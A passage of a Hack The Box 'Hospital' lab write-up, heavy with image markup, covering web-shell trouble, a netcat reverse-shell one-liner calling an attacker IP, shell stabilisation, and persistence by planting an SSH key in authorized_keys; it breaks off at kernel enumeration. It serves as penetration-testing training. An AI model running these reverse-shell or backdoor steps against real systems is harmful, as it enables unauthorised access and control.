srcset="https://substackcdn.com/image/fetch/$s_!svwy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 424w, https://substackcdn.com/image/fetch/$s_!svwy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 848w, https://substackcdn.com/image/fetch/$s_!svwy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 1272w, https://substackcdn.com/image/fetch/$s_!svwy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!svwy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png" width="1106" height="374" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:374,&quot;width&quot;:1106,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;web-shell-fail.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="web-shell-fail.png" title="web-shell-fail.png" srcset="https://substackcdn.com/image/fetch/$s_!svwy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 424w, https://substackcdn.com/image/fetch/$s_!svwy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 848w, https://substackcdn.com/image/fetch/$s_!svwy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 1272w, https://substackcdn.com/image/fetch/$s_!svwy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Trying the initial shell again now also returns a 404 code, which may indicate some sort of time-based file process mechanism.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HEQH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HEQH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 424w, https://substackcdn.com/image/fetch/$s_!HEQH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 848w, https://substackcdn.com/image/fetch/$s_!HEQH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 1272w, https://substackcdn.com/image/fetch/$s_!HEQH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HEQH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png" width="540" height="349" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2535648-8aed-41af-9d8d-513903c24756_540x349.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:349,&quot;width&quot;:540,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;404-rev-shell.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="404-rev-shell.png" title="404-rev-shell.png" srcset="https://substackcdn.com/image/fetch/$s_!HEQH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 424w, https://substackcdn.com/image/fetch/$s_!HEQH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 848w, https://substackcdn.com/image/fetch/$s_!HEQH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 1272w, https://substackcdn.com/image/fetch/$s_!HEQH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2535648-8aed-41af-9d8d-513903c24756_540x349.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Returning to the web shell responses and attempting to redirect them by forwarding them back to the terminal also fails.</p><pre><code><code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc 10.10.14.2 4321 &gt;/tmp/f</code></code></pre><p>Trying the command encoded in base-64 and url-encoding also fails. This indicates the problem is likely with the web shell itself.</p><p>Trying a new shell from <a href="https://github.com/flozz/p0wny-shell/tree/master">flozz</a> is successful, and a working webshell is obtained.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!aysa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!aysa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 424w, https://substackcdn.com/image/fetch/$s_!aysa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 848w, https://substackcdn.com/image/fetch/$s_!aysa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 1272w, https://substackcdn.com/image/fetch/$s_!aysa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!aysa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png" width="939" height="336" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/19829213-a05d-4153-a27b-3000a2ea3258_939x336.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:336,&quot;width&quot;:939,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;webshell-success.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="webshell-success.png" title="webshell-success.png" srcset="https://substackcdn.com/image/fetch/$s_!aysa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 424w, https://substackcdn.com/image/fetch/$s_!aysa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 848w, https://substackcdn.com/image/fetch/$s_!aysa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 1272w, https://substackcdn.com/image/fetch/$s_!aysa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19829213-a05d-4153-a27b-3000a2ea3258_939x336.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Forwarding it back to the terminal is also successful.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!S42C!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!S42C!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 424w, https://substackcdn.com/image/fetch/$s_!S42C!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 848w, https://substackcdn.com/image/fetch/$s_!S42C!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 1272w, https://substackcdn.com/image/fetch/$s_!S42C!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!S42C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png" width="1158" height="338" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:338,&quot;width&quot;:1158,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;forward-webshell.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="forward-webshell.png" title="forward-webshell.png" srcset="https://substackcdn.com/image/fetch/$s_!S42C!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 424w, https://substackcdn.com/image/fetch/$s_!S42C!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 848w, https://substackcdn.com/image/fetch/$s_!S42C!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 1272w, https://substackcdn.com/image/fetch/$s_!S42C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0a001d-00c7-417f-9da8-650fa4753967_1158x338.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To stabilise the shell, we can use the following command combination.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wFmE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wFmE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 424w, https://substackcdn.com/image/fetch/$s_!wFmE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 848w, https://substackcdn.com/image/fetch/$s_!wFmE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 1272w, https://substackcdn.com/image/fetch/$s_!wFmE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wFmE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png" width="788" height="242" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:242,&quot;width&quot;:788,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;stabilise-shell.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="stabilise-shell.png" title="stabilise-shell.png" srcset="https://substackcdn.com/image/fetch/$s_!wFmE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 424w, https://substackcdn.com/image/fetch/$s_!wFmE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 848w, https://substackcdn.com/image/fetch/$s_!wFmE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 1272w, https://substackcdn.com/image/fetch/$s_!wFmE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb09c9ffa-32c4-4f68-aa50-c6956849d0f2_788x242.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p><code>python3 -c 'import pty;pty.spawn("/bin/bash")'</code>:</p><ul><li><p>Launches a new Bash shell within a pseudo-terminal (PTY) session.</p></li><li><p>Improves interaction with the shell (e.g., supports auto-completion, history).</p></li><li><p>Makes the shell behave more like a local terminal.</p></li></ul></li><li><p><code>export TERM=xterm</code>:</p><ul><li><p>Sets the terminal type to <code>xterm</code>, which is widely compatible and supports advanced features.</p></li><li><p>Ensures that the terminal emulation behaves consistently.</p></li><li><p>Enables colour support, cursor movement, and screen-clearing commands.</p></li></ul></li><li><p><code>stty raw -echo</code>:</p><ul><li><p>Sets the terminal to raw mode, sending characters directly without processing.</p></li><li><p>Disables local echo, preventing typed characters from being displayed twice.</p></li><li><p>Ensures that input and output are sent and received as intended, without automatic newline handling or echoing.</p></li></ul></li><li><p><code>fg</code>:</p><ul><li><p>Brings the most recent background job (your shell) to the foreground.</p></li><li><p>Necessary if the shell was backgrounded, especially after changing terminal settings.</p></li><li><p>It may require hitting Enter to see the prompt after execution.</p></li></ul></li></ul><p>After the last step hit return a few times to return the prompt.</p><p>Looking in the <code>/uploads</code> file, there are no files, so regaining a shell may be difficult.</p><div><hr></div><h1>Establishing Persistence</h1><p>To avoid having to re-do the initial steps in the event of a disconnected shell, malicious SSH keys can be placed on the target.</p><p>First, the <code>~/.ssh</code> directory is created, and appropriate write permissions confirmed.</p><pre><code><code>www-data@webserver:/var/www/html$ ls -la ~/.ssh
ls: cannot access '/var/www/.ssh': No such file or directory
www-data@webserver:/var/www/html$ mkdir ~/.ssh
www-data@webserver:/var/www/html$ touch ~/.ssh/test &amp;&amp; echo "write access confirmed" || echo "no write access"
write access confirmed
www-data@webserver:/var/www/html$ rm ~/.ssh/test</code></code></pre><p>Then, an SSH key pair is generated on the local machine.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/Documents/htb-machines/hospital/persistence]
&#9492;&#9472;$ ssh-keygen -t rsa -b 2048 -f ctf_key</code></code></pre><ul><li><p><code>-t rsa</code>: Specifies the type of key to create, in this case, RSA.</p></li><li><p><code>-b 2048</code>: Specifies the number of bits in the key, in this case, 2048 bits.</p></li><li><p><code>-f ~/.ssh/ctf_key</code>: Specify the filename of the key; replace <code>ctf_key</code> with a name that makes sense for your situation.</p></li></ul><p>The public key is then displayed.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/Documents/htb-machines/hospital/persistence]
&#9492;&#9472;$ cat ctf_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqtM5AlnUbVyg+iWvhLSn96sRU5Epi8/8T&lt;SNIP&gt;</code></code></pre><p>On the target system, the malicious public key is appended to the <code>~/.ssh/authorized_keys</code> file.</p><pre><code><code>www-data@webserver:/var/www/html$ nano ~/.ssh/authorized_keys
www-data@webserver:/var/www/html$ cat ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqtM5AlnUbVyg+iWvhLSn&lt;SNIP&gt;
www-data@webserver:/var/www/html$</code></code></pre><p>Now if the shell is dropped, it may be possible to regain access using SSH easily</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/Documents/htb-machines/hospital/persistence]
&#9492;&#9472;$ ssh -i ~/Documents/htb-machines/hospital/persistence/ctf_key www-data@hospital.htb</code></code></pre><div><hr></div><h1>System enumeration</h1><p>Checking sudo permissions for the <code>www-data</code> account requires a password.</p><pre><code><code>www-data@webserver:/var/www/html$ sudo -l
[sudo] password for www-data:</code></code></pre><p>However, a review of the Linux kernel version reveals an unpatched vulnerability.</p><pre><code><code>www-data@webserver:/var/www/html$ uname -a
